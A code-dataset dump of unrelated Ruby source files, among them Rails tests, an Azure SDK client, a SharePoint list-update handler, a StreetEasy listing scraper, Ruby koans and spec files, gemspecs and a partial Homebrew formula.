hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = NSXTPolicy.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 29.486842 | 137 | 0.626655 |
1c31af44c15b28e803c9911414415432627e1cac | 1,749 | require 'test_helper'
class UsersSignupTest < ActionDispatch::IntegrationTest
def setup
ActionMailer::Base.deliveries.clear
end
test 'invalid signup information' do
get signup_path
assert_no_difference 'User.count' do
post users_path, params: { user: { name: '',
email: 'user@invalid',
password: 'foo',
password_confirmation: 'bar' } }
end
assert_template 'users/new'
assert_select 'div#error_explanation'
assert_select 'div.field_with_errors'
end
test 'valid signup information with account activation' do
get signup_path
assert_difference 'User.count', 1 do
post users_path, params: { user: { name: 'Example User',
email: '[email protected]',
password: 'password',
password_confirmation: 'password' } }
end
assert_equal 1, ActionMailer::Base.deliveries.size
user = assigns(:user)
assert_not user.activated?
# Try to log in before activation.
log_in_as(user)
assert_not is_logged_in?
# Invalid activation token
get edit_account_activation_path('invalid token', email: user.email)
assert_not is_logged_in?
# Valid token, wrong email
get edit_account_activation_path(user.activation_token, email: 'wrong')
assert_not is_logged_in?
# Valid activation token
get edit_account_activation_path(user.activation_token, email: user.email)
assert user.reload.activated?
follow_redirect!
assert_template 'users/show'
assert is_logged_in?
end
end
| 34.294118 | 78 | 0.614637 |
1c5032c26fa1ddf9a6c2d4e433aff7794c81ca72 | 5,609 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::PolicyInsights::Mgmt::V2018_07_01_preview
#
# A service client - single point of access to the REST API.
#
class PolicyInsightsClient < MsRestAzure::AzureServiceClient
include MsRestAzure
include MsRestAzure::Serialization
# @return [String] the base URI of the service.
attr_accessor :base_url
# @return Credentials needed for the client to connect to Azure.
attr_reader :credentials
# @return [String] Microsoft Azure subscription ID.
attr_accessor :subscription_id
# @return [String] Client Api Version.
attr_reader :api_version
# @return [String] The preferred language for the response.
attr_accessor :accept_language
# @return [Integer] The retry timeout in seconds for Long Running
# Operations. Default value is 30.
attr_accessor :long_running_operation_retry_timeout
# @return [Boolean] Whether a unique x-ms-client-request-id should be
# generated. When set to true a unique x-ms-client-request-id value is
# generated and included in each request. Default is true.
attr_accessor :generate_client_request_id
# @return [PolicyTrackedResources] policy_tracked_resources
attr_reader :policy_tracked_resources
# @return [Remediations] remediations
attr_reader :remediations
# @return [PolicyStates] policy_states
attr_reader :policy_states
# @return [Operations] operations
attr_reader :operations
#
# Creates initializes a new instance of the PolicyInsightsClient class.
# @param credentials [MsRest::ServiceClientCredentials] credentials to authorize HTTP requests made by the service client.
# @param base_url [String] the base URI of the service.
# @param options [Array] filters to be applied to the HTTP requests.
#
def initialize(credentials = nil, base_url = nil, options = nil)
super(credentials, options)
@base_url = base_url || 'https://management.azure.com'
fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?
@credentials = credentials
@policy_tracked_resources = PolicyTrackedResources.new(self)
@remediations = Remediations.new(self)
@policy_states = PolicyStates.new(self)
@operations = Operations.new(self)
@api_version = '2018-07-01-preview'
@accept_language = 'en-US'
@long_running_operation_retry_timeout = 30
@generate_client_request_id = true
add_telemetry
end
#
# Makes a request and returns the body of the response.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [Hash{String=>String}] containing the body of the response.
# Example:
#
# request_content = "{'location':'westus','tags':{'tag1':'val1','tag2':'val2'}}"
# path = "/path"
# options = {
# body: request_content,
# query_params: {'api-version' => '2016-02-01'}
# }
# result = @client.make_request(:put, path, options)
#
def make_request(method, path, options = {})
result = make_request_with_http_info(method, path, options)
result.body unless result.nil?
end
#
# Makes a request and returns the operation response.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [MsRestAzure::AzureOperationResponse] Operation response containing the request, response and status.
#
def make_request_with_http_info(method, path, options = {})
result = make_request_async(method, path, options).value!
result.body = result.response.body.to_s.empty? ? nil : JSON.load(result.response.body)
result
end
#
# Makes a request asynchronously.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def make_request_async(method, path, options = {})
fail ArgumentError, 'method is nil' if method.nil?
fail ArgumentError, 'path is nil' if path.nil?
request_url = options[:base_url] || @base_url
if(!options[:headers].nil? && !options[:headers]['Content-Type'].nil?)
@request_headers['Content-Type'] = options[:headers]['Content-Type']
end
request_headers = @request_headers
request_headers.merge!({'accept-language' => @accept_language}) unless @accept_language.nil?
options.merge!({headers: request_headers.merge(options[:headers] || {})})
options.merge!({credentials: @credentials}) unless @credentials.nil?
super(request_url, method, path, options)
end
private
#
# Adds telemetry information.
#
def add_telemetry
sdk_information = 'azure_mgmt_policy_insights'
sdk_information = "#{sdk_information}/0.17.4"
add_user_agent_information(sdk_information)
end
end
end
| 38.951389 | 154 | 0.697094 |
28bb8619bfdda9a746773d77dd1615884582edd0 | 2,746 | require File.expand_path(File.dirname(__FILE__) + '/neo')
class AboutControlStatements < Neo::Koan
def test_if_then_else_statements
if true
result = :true_value
else
result = :false_value
end
assert_equal :true_value, result
end
def test_if_then_statements
result = :default_value
result = :true_value if true
assert_equal :true_value, result
end
def test_if_statements_return_values
value = true ? :true_value : :false_value
assert_equal :true_value, value
value = false ? :true_value : :false_value
assert_equal :false_value, value
# NOTE: Actually, EVERY statement in Ruby will return a value, not
# just if statements.
end
def test_if_statements_with_no_else_with_false_condition_return_value
value = (:true_value if false)
assert_equal nil, value
end
def test_condition_operators
assert_equal :true_value, (true ? :true_value : :false_value)
assert_equal :false_value, (false ? :true_value : :false_value)
end
def test_if_statement_modifiers
result = :default_value
result = :true_value if true
assert_equal :true_value, result
end
def test_unless_statement
result = :default_value
unless false
# same as saying 'if !false', which evaluates as 'if true'
result = :false_value
end
assert_equal :false_value, result
end
def test_unless_statement_evaluate_true
result = :default_value
unless true
# same as saying 'if !true', which evaluates as 'if false'
result = :true_value
end
assert_equal :default_value, result
end
def test_unless_statement_modifier
result = :default_value
result = :false_value unless false
assert_equal :false_value, result
end
def test_while_statement
i = 1
result = 1
while i <= 10
result = result * i
i += 1
end
assert_equal 3_628_800, result
end
def test_break_statement
i = 1
result = 1
while true
break unless i <= 10
result = result * i
i += 1
end
assert_equal 3_628_800, result
end
def test_break_statement_returns_values
i = 1
result =
while i <= 10
break i if i % 2 == 0
i += 1
end
assert_equal 2, result
end
def test_next_statement
i = 0
result = []
while i < 10
i += 1
next if (i % 2) == 0
result << i
end
assert_equal [1, 3, 5, 7, 9], result
end
def test_for_statement
array = %w[fish and chips]
result = []
for item in array
result << item.upcase
end
assert_equal %w[FISH AND CHIPS], result
end
def test_times_statement
sum = 0
10.times { sum += 1 }
assert_equal 10, sum
end
end
| 21.123077 | 71 | 0.658048 |
6196f6322031fd3b3b35cfeb1b9cf15811b981a3 | 717 | class UserPolicy
include PolicyHelper
attr_reader :user, :record
def initialize(user, record)
@user = user
@record = record
end
def update_supervisor_email?
user.casa_admin? || record == user
end
def update_supervisor_name?
update_supervisor_email?
end
class Scope
attr_reader :user, :scope
def initialize(user, scope)
@user = user
@scope = scope
end
def resolve
case user.role
when "casa_admin" # scope.in_casa_administered_by(user)
scope.all
when "volunteer"
scope.where(id: user.id)
when "supervisor"
scope.all
else
raise "unrecognized role #{@user.role}"
end
end
end
end
| 17.925 | 61 | 0.630404 |
bbf82d648e040c226e137db4618368038bc495a6 | 1,224 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'sad_panda/version'
Gem::Specification.new do |spec|
spec.name = 'sad_panda'
spec.version = SadPanda::VERSION
spec.authors = ['Matt Buckley', 'Edwin Rozario']
spec.email = ['[email protected]']
spec.description = %q{sad_panda is a gem featuring tools for sentiment analysis of natural language: positivity/negativity and emotion classification.}
spec.summary = %q{sad_panda is a gem featuring tools for sentiment analysis of natural language: positivity/negativity and emotion classification.}
spec.homepage = 'https://github.com/mattThousand/sad_panda'
spec.license = 'MIT'
spec.files = `git ls-files`.split($/)
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ['lib']
spec.add_development_dependency 'bundler', '~> 2.1'
spec.add_development_dependency 'rake'
spec.add_runtime_dependency 'ruby-stemmer'
spec.add_development_dependency 'pry'
spec.add_development_dependency 'rspec'
end
| 43.714286 | 155 | 0.706699 |
5d70a9d6b9fa723127432376927bb466fa8642d4 | 2,088 | module RiCal
module CoreExtensions #:nodoc:
module Date #:nodoc:
#- ©2009 Rick DeNatale
#- All rights reserved. Refer to the file README.txt for the license
#
module Conversions #:nodoc:
# Return an RiCal::PropertyValue::DateTime representing the receiver
def to_ri_cal_date_time_value(timezone_finder = nil)
RiCal::PropertyValue::DateTime.new(timezone_finder, :value => self)
end
# Return an RiCal::PropertyValue::Date representing the receiver
def to_ri_cal_date_value(timezone_finder = nil)
RiCal::PropertyValue::Date.new(timezone_finder, :value => self)
end
alias_method :to_ri_cal_date_or_date_time_value, :to_ri_cal_date_value
alias_method :to_ri_cal_occurrence_list_value, :to_ri_cal_date_value
# Return the natural ri_cal_property for this object
def to_ri_cal_property_value(timezone_finder = nil)
to_ri_cal_date_value(timezone_finder)
end
def to_overlap_range_start
to_datetime
end
def to_overlap_range_end
to_ri_cal_date_time_value.end_of_day.to_datetime
end
unless Date.instance_methods.map {|selector| selector.to_sym}.include?(:to_date)
# A method to keep Time, Date and DateTime instances interchangeable on conversions.
# In this case, it simply returns +self+.
def to_date
self
end
end
unless Date.instance_methods.map {|selector| selector.to_sym}.include?(:to_datetime)
# Converts a Date instance to a DateTime, where the time is set to the beginning of the day
# and UTC offset is set to 0.
#
# ==== Examples
# date = Date.new(2007, 11, 10) # => Sat, 10 Nov 2007
#
# date.to_datetime # => Sat, 10 Nov 2007 00:00:00 0000
def to_datetime
::DateTime.civil(year, month, day, 0, 0, 0, 0)
end
end
end
end
end
end | 37.285714 | 101 | 0.619253 |
39648e4fc65f5c9e5553aa7d30ce0526998e2ba6 | 35 | class Slot < ApplicationRecord
end
| 11.666667 | 30 | 0.828571 |
087b00800b60ff0234d27e155b0ab86433c2ba8d | 177 | class RefactorReservedDomains < ActiveRecord::Migration[6.0]
def change
remove_column :reserved_domains, :name
add_column :reserved_domains, :names, :hstore
end
end
| 25.285714 | 60 | 0.768362 |
e22fbbbbd31d40a0cef7b332407c1e885dc2b470 | 1,558 | #
# Be sure to run `pod lib lint ATest.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'ATest'
s.version = '0.1.0'
s.summary = 'A of ATest.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
homePage-> https://github.com/yanjian/ATest
DESC
s.homepage = 'https://github.com/yanjian/ATest'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'yanjaya' => '[email protected]' }
s.source = { :git => 'https://github.com/yanjian/ATest.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '8.0'
s.source_files = 'ATest/Classes/**/*'
# s.resource_bundles = {
# 'ATest' => ['ATest/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 36.232558 | 97 | 0.612965 |
6a6acdd77c837f3f2f281223acf2001672834a1b | 5,282 | require File.dirname(__FILE__) + '/../spec_helper'
module NotificationSpecHelper
def valid_notification_attributes
Spree::Pagseguro::Config.set({:account => "[email protected]"})
order = mock_model(Order, :null_object => true)
order.stub!(:total).and_return((5.23 * 2) + 10.99)
{
:VendedorEmail => "[email protected]",
:TransacaoID => "123XYZ",
:Referencia => "1",
:TipoFrete => "FR",
:Anotacao => "Here goes some notes.",
:DataTransacao => "01/01/2008 12:30:10",
:TipoPagamento => "Cartão de Crédito",
:StatusTransacao => "Aprovado",
:CliNome => "John Doe",
:CliEmail => "[email protected]",
:CliEndereco => "Nowhere",
:CliNumero => "100",
:CliComplemento => "",
:CliBairro => "Nowhere",
:CliCidade => "Nowhere",
:CliEstado => "NW",
:CliCEP => "12345123",
:CliTelefone => "12345678",
:ProdID_1 => "1",
:ProdDescricao_1 => "Nothing",
:ProdValor_1 => 5.23,
:ProdQuantidade_1 => 2,
:ProdExtras_1 => 0,
:ProdFrete_1 => 10.99,
:NumItens => 1,
:order => order
}
end
end
describe Notification do
include NotificationSpecHelper
before(:each) do
@notification = Notification.new
end
it "should be valid when having correct information" do
@notification.attributes = valid_notification_attributes
@notification.should be_valid
end
it "should not be valid when having a not valid TipoFrete" do
@notification.attributes = valid_notification_attributes.with(:TipoFrete => "YZ")
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'TipoFrete'.humanize} #{@notification.TipoFrete} não está incluído na lista")
end
it "should not be valid when having a not valid TipoPagamento" do
@notification.attributes = valid_notification_attributes.with(:TipoPagamento => "Fiado")
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'TipoPagamento'.humanize} #{@notification.TipoPagamento} não está incluído na lista")
end
it "should not be valid when having a not valid StatusTransacao" do
@notification.attributes = valid_notification_attributes.with(:StatusTransacao => "Nenhum")
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'StatusTransacao'.humanize} #{@notification.StatusTransacao} não está incluído na lista")
end
it "should have exactly 8 numberic characters on CliCEP" do
@notification.attributes = valid_notification_attributes.with(:CliCEP => "12345-123")
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'CliCEP'.humanize} #{@notification.CliCEP} deve conter exatamente oito dígitos numéricos sem o traço")
end
it "should only accept numeric NumItens" do
@notification.attributes = valid_notification_attributes.with(:NumItens => "foo")
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'NumItens'.humanize} #{:is_not_an_integer.l}")
end
it "should only accept integer NumItens" do
@notification.attributes = valid_notification_attributes.with(:NumItens => 0.5)
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'NumItens'.humanize} #{:is_not_an_integer.l}")
end
it "should only accept positive NumItens" do
@notification.attributes = valid_notification_attributes.with(:NumItens => -2)
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'NumItens'.humanize} #{:is_not_a_positive_number.l}")
end
it "should have a unique TransacaoID" do
PagseguroTxn.stub!(:find_by_transaction_id).and_return(mock_model(PagseguroTxn, :null_object => true))
@notification.attributes = valid_notification_attributes
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'TransacaoID'.humanize} #{:error_message_taken.l}")
end
it "should have a valid VendedorEmail" do
@notification.attributes = valid_notification_attributes.with(:VendedorEmail => "another_acoount@@example.com")
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'VendedorEmail'.humanize} não é nosso endereço de e-mail.")
end
it "should reference an existing and valid order" do
@notification.attributes = valid_notification_attributes.with(:order => nil)
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'order'.intern.l('order').humanize} não foi possível estabelecer um vínculo com pedido algum.")
end
it "should match its totals with its refered order totals" do
@notification.attributes = valid_notification_attributes
@notification.order.stub!(:total).and_return(99)
@notification.should_not be_valid
@notification.errors.full_messages.should include("#{'order'.intern.l('order').humanize} total não confere com a notificação, pedido: #{@notification.order.total}, notificação: #{@notification.items_total}.")
end
end
| 42.943089 | 212 | 0.701817 |
edd9ce2a1e671961f572174850db50cd986e4412 | 984 |
module EbayTrading # :nodoc:
module Requests # :nodoc:
# == Attributes
# text_node :item_id, 'ItemID', :optional => true
# text_node :status, 'Status', :optional => true
# boolean_node :include_member_messages, 'IncludeMemberMessages', 'true', 'false', :optional => true
# datetime_node :start_creation_time, 'StartCreationTime', :optional => true
# datetime_node :end_creation_time, 'EndCreationTime', :optional => true
class GetAdFormatLeads < Abstract
include XML::Mapping
include Initializer
root_element_name 'GetAdFormatLeadsRequest'
text_node :item_id, 'ItemID', :optional => true
text_node :status, 'Status', :optional => true
boolean_node :include_member_messages, 'IncludeMemberMessages', 'true', 'false', :optional => true
datetime_node :start_creation_time, 'StartCreationTime', :optional => true
datetime_node :end_creation_time, 'EndCreationTime', :optional => true
end
end
end
| 41 | 105 | 0.699187 |
4a226bafe09195751a3c88b7a4ead015701c5089 | 3,339 | require 'test_helper'
class UserTest < ActiveSupport::TestCase
def setup
@user = User.new(name: 'Example User', email: '[email protected]',
password: "fakeone", password_confirmation: "fakeone")
end
test "should be valid" do
assert @user.valid?
end
test "name should be present" do
@user.name = ' '
assert_not @user.valid?
end
test "email should be present" do
@user.email = ' '
assert_not @user.valid?
end
test "name should not be too long" do
@user.name = 'a' * 51
assert_not @user.valid?
end
test "email should not be too long" do
@user.email = 'a' * 244 + '@example.com'
assert_not @user.valid?
end
test "email validation should accept valid addresses" do
valid_addresses = %w{ [email protected] [email protected] [email protected]
[email protected] [email protected] }
valid_addresses.each do |valid_address|
@user.email = valid_address
assert @user.valid?, "#{valid_address.inspect} should be valid"
end
end
test "email validation should reject invalid addresses" do
invalid_addresses = %w{ user@example,com user_at_foo.org user.name@example.
foo@bar_baz.com foo@bar+baz.com [email protected] }
invalid_addresses.each do |invalid_address|
@user.email = invalid_address
assert_not @user.valid?, "#{invalid_address.inspect} should be invalid"
end
end
test "email addresses should be unique" do
duplicate_user = @user.dup
duplicate_user.email = @user.email.upcase
@user.save
assert_not duplicate_user.valid?
end
test "email addresses should be lowercase before saving" do
mixed_case_email = "[email protected]"
@user.email = mixed_case_email
@user.save
assert_equal mixed_case_email.downcase, @user.reload.email
end
test "password should be present (nonblank)" do
@user.password = @user.password_confirmation = " " * 6
assert_not @user.valid?
end
test "password should have a minimum length" do
@user.password = @user.password_confirmation = "a" * 5
assert_not @user.valid?
end
test "authenticated? should return false for a user with nil digest" do
assert_not @user.authenticated?(:remember, '')
end
test "destroying users should destroy associated microposts" do
@user.save
@user.microposts.create!(content: 'Hello')
assert_difference "Micropost.count", -1 do
@user.destroy
end
end
test "should follow and unfollow a user" do
annie = users(:annie)
olivia = users(:olivia)
assert_not annie.following?(olivia)
annie.follow(olivia)
assert annie.following?(olivia)
assert olivia.followers.include?(annie)
annie.unfollow(olivia)
assert_not annie.following?(olivia)
end
test "feed should have the right posts" do
michael = users(:michael)
annie = users(:annie)
lucy = users(:lucy)
# Posts from followed users
lucy.microposts.each do |post_following|
assert michael.feed.include?(post_following)
end
# Posts from self
michael.microposts.each do |post_self|
assert michael.feed.include?(post_self)
end
# Posts from unfollowed users
annie.microposts.each do |post_unfollowed|
assert_not michael.feed.include?(post_unfollowed)
end
end
end
| 27.825 | 79 | 0.678646 |
6195c46607e2c9b2a64dcccb12e02af7d1331314 | 5,209 | # Require the dependencies file to load the vendor libraries
require File.expand_path(File.join(File.dirname(__FILE__), 'dependencies'))
class SharepointListItemUpdateV1
def initialize(input)
# Set the input document attribute
@input_document = REXML::Document.new(input)
# Store the info values in a Hash of info names to values.
@info_values = {}
REXML::XPath.each(@input_document,"/handler/infos/info") { |item|
@info_values[item.attributes['name']] = item.text
}
@enable_debug_logging = @info_values['enable_debug_logging'].downcase == 'yes' ||
@info_values['enable_debug_logging'].downcase == 'true'
# Retrieve all of the handler parameters and store them in a hash attribute
# named @parameters.
@parameters = {}
REXML::XPath.match(@input_document, '/handler/parameters/parameter').each do |node|
# Associate the attribute name to the String value (stripping leading and
# trailing whitespace)
@parameters[node.attribute('name').value] = node.text.to_s.strip
end
# Initialize the field values hash
@attachment_field_values = {}
# For each of the fields in the node.xml file, add them to the hash
REXML::XPath.match(@input_document, '/handler/attachment_fields/field').each do |node|
@attachment_field_values[node.attribute('name').value] = node.text
end
end
# This is a required method that is automatically called by the Kinetic Task
# Engine.
def execute()
username = @info_values["username"]
username = @info_values["domain"]+"\\"+username if !@info_values["domain"].to_s.empty?
resource = RestClient::Resource.new(
"#{@info_values['sharepoint_location'].chomp("/")}",
{
:user => username,
:password => @info_values["password"],
:headers => {
"Accept" => "application/json; odata=verbose",
"Content-Type" => "application/json; odata=verbose"
}
}
)
# Get the FormDigestValue that will be passed at the X-RequestDigest header in the create call
puts "Retrieving the Form Digest Value" if @enable_debug_logging
response = resource["/_api/contextinfo"].post("")
json = JSON.parse(response.body)
form_digest_value = json["d"]["GetContextWebInformation"]["FormDigestValue"]
puts "Form Digest Value successfully retrieved and parsed" if @enable_debug_logging
# Retrieve the Item type of the list
puts "Attempting to retrieve the type of item that should be created for the list" if @enable_debug_logging
begin
response = resource["/_api/web/lists/GetByTitle('#{URI.encode(@parameters['list_name'])}')/ListItemEntityTypeFullName"].get
rescue RestClient::Exception => e
puts e.response.body
raise e.inspect
end
type = JSON.parse(response.body)["d"]["ListItemEntityTypeFullName"]
puts "List items on '#{@parameters['list_name']}' found to be of type '#{type}'" if @enable_debug_logging
## Create the ListItem JSON object
begin
list_item = JSON.parse(@parameters['item'])
rescue
raise "An error was encountered attempting to parse the following JSON: #{@parameters['item']}"
end
# Add the list type to the list item metadata
if list_item.has_key? "__metadata"
list_item["__metadata"] = list_item["__metadata"].merge({"type" => type})
else
list_item["__metadata"] = {"type" => type}
end
# Switch out any spaces in the keys for _x0020_
list_item.keys.each do |k|
if k.include?(" ")
list_item[k.gsub(" ","_x0020_")] = list_item[k]
list_item.delete(k)
end
end
puts "Attempting to update the following item: #{list_item}" if @enable_debug_logging
begin
response = resource["/_api/web/lists/GetByTitle('#{URI.encode(@parameters['list_name'])}')/items(#{URI.encode(@parameters['item_id'])})"].post(
list_item.to_json,
{
"X-RequestDigest" => form_digest_value,
"IF-MATCH" => "*",
"X-HTTP-Method" => "MERGE"
}
)
rescue RestClient::Exception => e
puts e.response.body
raise e.inspect
end
puts "Item '#{@parameters['item_id']}' successfully updated" if @enable_debug_logging
return "<results />"
end
# This is a template method that is used to escape results values (returned in
# execute) that would cause the XML to be invalid. This method is not
# necessary if values do not contain character that have special meaning in
# XML (&, ", <, and >), however it is a good practice to use it for all return
# variable results in case the value could include one of those characters in
# the future. This method can be copied and reused between handlers.
def escape(string)
# Globally replace characters based on the ESCAPE_CHARACTERS constant
string.to_s.gsub(/[&"><]/) { |special| ESCAPE_CHARACTERS[special] } if string
end
# This is a ruby constant that is used by the escape method
ESCAPE_CHARACTERS = {'&'=>'&', '>'=>'>', '<'=>'<', '"' => '"'}
end | 42.349593 | 150 | 0.652716 |
f79fe6b7441c8498f03038d2bb0296519ab03063 | 2,894 | #!/usr/bin/env ruby
require 'mechanize'
require 'yaml'
unless ARGV[0] =~ /^http/ && ARGV[1] =~ /(now|[\d\/]+)/
puts "Usage: scraper.rb [streeteasy search URL] [date(s)]"
puts " streeteasy search url: just perform a search on streeteasy.com"
puts " and grab the URL from the location bar"
puts ""
puts " date(s): can either be now, unknown, or dates in the"
puts " format mm/dd/yyyy, and can be multiple separated a comma"
puts ""
exit 1
end
@listing_url = ARGV[0] # || "http://streeteasy.com/nyc/rentals/downtown-manhattan/rental_type:frbo,brokernofee,brokerfee%7Cprice:2500-3500%7Cbeds:1?page=1&sort_by=price_desc"
@available_date = ARGV[1].split(",") # || "08/01/2013,07/31/2013"
@available_date.shift if @available_date == ['']
agent = Mechanize.new
def full_url(path)
if path =~ /^\//
"http://streeteasy.com#{path}"
else
path
end
end
def page_url(page_number)
if @listing_url =~ /page=/
@listing_url.gsub(/page=\d+/, "page=#{page_number.to_s}")
elsif @listing_url =~ /\?/
@listing_url + "&page=#{page_number.to_s}"
else
@listing_url + "?page=#{page_number.to_s}"
end
end
`open /tmp/listings.html`
first_page = agent.get page_url(1)
File.open("/tmp/listings.html", "w") do |f|
f.write("<html><body>")
page_count = first_page.search(".pagination a").map{|z| z.text.to_i }.max
puts "#{page_count} pages available"
(1..page_count).each { |page|
sleep 0.5
puts "getting #{page_url(page)}"
page = agent.get page_url(page)
urls = page.search("div.listings div.item").reject{|e| e.search("div.featured_tag").size > 0}.map{|e| e.search("div.photo a").attribute("href").to_s }.flatten.uniq.reject{|a| a =~ /featured=/ }
urls.each {|url|
sleep 0.5
puts "getting url #{url}"
page = agent.get url
html = ''
availability = page.search("div.vitals div.details_info").first.to_s.scan(/Available( on)?\s+([now\/0-9]+)/im).flatten.last || "unknown"
if availability != 'unknown'
page.search("div.vitals div.details_info h6").first.remove
availability = page.search("div.vitals div.details_info").first.text.strip
end
if @available_date.nil? or @available_date.any? {|a| a == availability }
images = page.search("#image-gallery li.photo img").map{|e| e.attribute("src").to_s }.flatten
title = page.search("h1.building-title")
price = page.search("div.price")
html += "<h1>#{title.text} - #{price.text}</h1>"
images.each do |image|
html += "<a target='_blank' href='#{full_url(url)}'><img src='#{image}'/></a>"
end
#puts full_url(url)
html += "<br><hr><br>"
elsif availability
# puts "available #{availability.first}"
end
#puts "#{availability.first.first} #{url}"
f.write(html)
f.flush
}
}
f.write("</body></html>")
end
| 30.463158 | 197 | 0.623704 |
2600edf645f7f60fed8ab7d4f22bc51a9e3bfd0c | 226 | # frozen_string_literal: true
require "support/matchers/be_a_semantic_version"
require "extensible/version"
describe Extensible::VERSION do
it { is_expected.to be_a_semantic_version }
it { is_expected.to be_frozen }
end
| 22.6 | 48 | 0.80531 |
385552e17546a89940b9b15018b0b504cf5364f3 | 147 | require 'tester_xtreme/action_controller'
require 'tester_xtreme/active_record'
require 'tester_xtreme/general'
require 'rubygems'
require 'mocha' | 24.5 | 41 | 0.843537 |
f8e4e7aa9f1213ec8acd8e871e6afc5cb0b00186 | 180 | module Hydra::Derivatives::Processors
module Video
extend ActiveSupport::Autoload
eager_autoload do
autoload :Processor
autoload :Config
end
end
end
| 13.846154 | 37 | 0.7 |
798bd47b3432ce7e9805876eaf3de4be271001fc | 2,243 | require_relative '../../spec_helper'
require_relative 'fixtures/classes'
describe "Kernel#p" do
before :all do
@rs_f, @rs_b, @rs_c = $/, $\, $,
end
after :each do
suppress_warning {
$/, $\, $, = @rs_f, @rs_b, @rs_c
}
end
it "is a private method" do
Kernel.should have_private_instance_method(:p)
end
# TODO: fix
it "flushes output if receiver is a File" do
filename = tmp("Kernel_p_flush") + $$.to_s
begin
File.open(filename, "w") do |f|
begin
old_stdout = $stdout
$stdout = f
p("abcde")
ensure
$stdout = old_stdout
end
File.open(filename) do |f2|
f2.read(7).should == "\"abcde\""
end
end
ensure
rm_r filename
end
end
it "prints obj.inspect followed by system record separator for each argument given" do
o = mock("Inspector Gadget")
o.should_receive(:inspect).any_number_of_times.and_return "Next time, Gadget, NEXT TIME!"
-> { p(o) }.should output("Next time, Gadget, NEXT TIME!\n")
-> { p(*[o]) }.should output("Next time, Gadget, NEXT TIME!\n")
-> { p(*[o, o]) }.should output("Next time, Gadget, NEXT TIME!\nNext time, Gadget, NEXT TIME!\n")
-> { p([o])}.should output("[#{o.inspect}]\n")
end
it "is not affected by setting $\\, $/ or $," do
o = mock("Inspector Gadget")
o.should_receive(:inspect).any_number_of_times.and_return "Next time, Gadget, NEXT TIME!"
suppress_warning {
$, = " *helicopter sound*\n"
}
-> { p(o) }.should output_to_fd("Next time, Gadget, NEXT TIME!\n")
$\ = " *helicopter sound*\n"
-> { p(o) }.should output_to_fd("Next time, Gadget, NEXT TIME!\n")
$/ = " *helicopter sound*\n"
-> { p(o) }.should output_to_fd("Next time, Gadget, NEXT TIME!\n")
end
it "prints nothing if no argument is given" do
-> { p }.should output("")
end
it "prints nothing if called splatting an empty Array" do
-> { p(*[]) }.should output("")
end
=begin Not sure how to spec this, but wanted to note the behavior here
it "does not flush if receiver is not a TTY or a File" do
end
=end
end
describe "Kernel.p" do
it "needs to be reviewed for spec completeness"
end
| 26.702381 | 101 | 0.601427 |
391b7cdab3ffb5ff38424a220727f4bd821e4baa | 1,169 | class Cmus < Formula
desc "Music player with an ncurses based interface"
homepage "https://cmus.github.io/"
url "https://github.com/cmus/cmus/archive/v2.9.1.tar.gz"
sha256 "6fb799cae60db9324f03922bbb2e322107fd386ab429c0271996985294e2ef44"
license "GPL-2.0-or-later"
head "https://github.com/cmus/cmus.git"
bottle do
sha256 "39c4a5d3220e312651d65e83987f9deb6671a15229a268c050edbfe43ea259b2" => :big_sur
